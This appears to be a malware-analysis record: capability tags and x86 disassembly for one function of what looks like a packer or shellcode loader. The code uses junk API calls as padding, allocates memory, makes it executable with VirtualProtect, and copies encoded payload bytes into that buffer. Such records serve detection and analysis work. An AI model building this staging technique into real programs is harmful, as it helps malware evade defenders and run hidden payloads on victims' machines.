Function at 0x405f3a
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc3c
push ebx
push esi
push edi
xor edi, edi
cmp dword [0xc7205c], 0x5b1
jne 0x405fd8
push edi
lea eax, [ebp - 0xc38]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push edi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.GDI32.dll_GetBitmapDimensionEx]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push edi
call fcn.00406f87
pop ecx
push edi
push edi
push edi
push edi
call fcn.00406c9e
add esp, 0x10
lea esi, [ebp - 0x10]
call fcn.00405b60
mov ecx, esi
call fcn.00405b80
push edi
call fcn.00406881
pop ecx
push edi
call fcn.0040686b
pop ecx
push edi
push edi
call fcn.00406493
pop ecx
pop ecx
push edi
call fcn.00407310
add dword [0xc7205c], 0x1134b
push dword [0xc7205c]
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0xc4b1fc], eax
mov esi, 0x1e6cc
push edi
push edi
call dword [sym.imp.USER32.dll_LoadMenuW]
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_CharToOemBuffW]
lea eax, [ebp - 0x10]
push eax
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x405ff9
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [0xc7205c]
push dword [0xc4b1fc]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x206d47
jg 0x406052
inc esi
cmp esi, 0x4f6a4
jl 0x406038
xor esi, esi
cmp dword [0xc7205c], edi
jbe 0x4060a4
cmp dword [0xc7205c], 0xa8
mov eax, dword [0xc72ac0]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0xc4b1fc]
mov byte [ecx + esi], al
jne 0x40609b
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x405960
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push edi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
inc esi
cmp esi, dword [0xc7205c]
jb 0x40605c
xor esi, esi
mov eax, dword [0xc7205c]
add eax, esi
cmp eax, 0xe
jne 0x4060ed
push edi
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
push edi
push edi
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc esi
cmp esi, 0x39621
jl 0x4060a6
call fcn.00405e0d
xor esi, esi
push edi
call ebx
cmp esi, 0x26
jne 0x40610a
call fcn.00405f20
inc esi
cmp esi, 0x6753f
jl 0x4060fd
push 0x7b
pop esi
cmp dword [0xc7205c], 0x86
jne 0x406172
lea eax, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push edi
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push edi
push edi
push edi
lea eax, [ebp - 0x838]
push eax
push edi
push 0x405970
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec esi
jne 0x406116
push 0x405980
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
leave
ret